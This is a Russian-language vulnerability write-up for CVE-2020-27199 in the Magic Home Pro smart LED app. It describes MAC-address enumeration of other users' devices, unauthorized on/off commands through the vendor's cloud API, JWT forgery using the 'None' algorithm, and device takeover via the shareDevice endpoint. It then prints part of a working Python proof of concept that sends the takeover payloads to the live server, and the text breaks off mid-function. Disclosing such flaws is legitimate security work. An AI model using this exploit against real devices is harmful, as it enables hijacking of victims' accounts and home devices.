
CVE-2020-27199

В мобильном приложении Magic Home Pro, используемом для взаимодействия с JadeHomic светодиодной лентой RGB, было обнаружено множество уязвимостей. Наиболее значимой из них является уязвимость обхода аутентификации (CVE-2020-27199), которая в конечном итоге позволяет полностью захватить и контролировать всю группу устройств жертвы.
magichome-forge.py — Фальсификатор JWT, используемый для автоматизации захвата устройства
magichome-sniffer.py — Сниффер локальной сети, который ищет в сети уязвимые устройства. Формирует список устройств, против которых можно запускать атаки
magichome-switch.py — Позволяет включать устройства
magichome-takeover.py — Полезная нагрузка, которая позволяет успешно захватить учётную запись пользователя
Suzhou SmartChip Semiconductor Co.,Ltd
Эта уязвимость позволяет любому аутентифицированному пользователю использовать свой текущий уровень авторизации для опроса конечных точек, не входящих в его зарегистрированные продукты, с помощью вызова API к /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. В результате HTTP-ответа указывается существование конечной точки и возвращаются Имя пользователя (Username), Уникальный идентификатор пользователя (userUniID) и Связанный уникальный ID (bindedUniID) соответствующей конечной точки.
Используя вышеописанный опрос, злоумышленник может затем использовать неавторизованный POST-запрос к API /app/sendCommandBatch/ZG001, используя недавно перебранный MAC-адрес, чтобы отправлять команды на удаленную конечную точку с помощью совместимых шестнадцатеричных команд 71230fa3 и 71240fa4, что приводит соответственно к ВКЛ и ВЫКЛ.
После завершения начального перебора также можно подделать JWT, используя userID и uniID в данных полезной нагрузки JWT, фактически понижая токен до использования «None» в качестве алгоритма в разделе заголовка JWT (уязвимость обхода подписи). Используя эту уязвимость, приложение становится подверженным захвату устройства злоумышленником путем вызова удаленного API /app/shareDevice/ZG001 и использования параметра JSON friendUserID для добавления устройства в список устройств злоумышленника, что дает злоумышленнику полный контроль над конечной точкой.
Credit(s):
OUI описывает уникальный идентификатор организации для MAC-адресов, зарегистрированных на организацию. В случае JadeHomic магический OUI — C8:2E:47, где первые три байта соответствуют производителю, а вторые три байта — серийному номеру, присвоенному производителем. В нашем случае идентификатор производителя зарегистрирован на Suzhou SmartChip Semiconductor Co., LTD.
Позволяет обойти аутентификацию мобильного приложения Magic Home Pro и, таким образом, получить полный контроль над всей группой устройств пользователя-жертвы.
Доказательство концепции выполняет перебор последних байтов в диапазоне MAC и возвращает результаты. Оно позволяет протестировать «удаленное выполнение», если вы чувствуете смелость.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):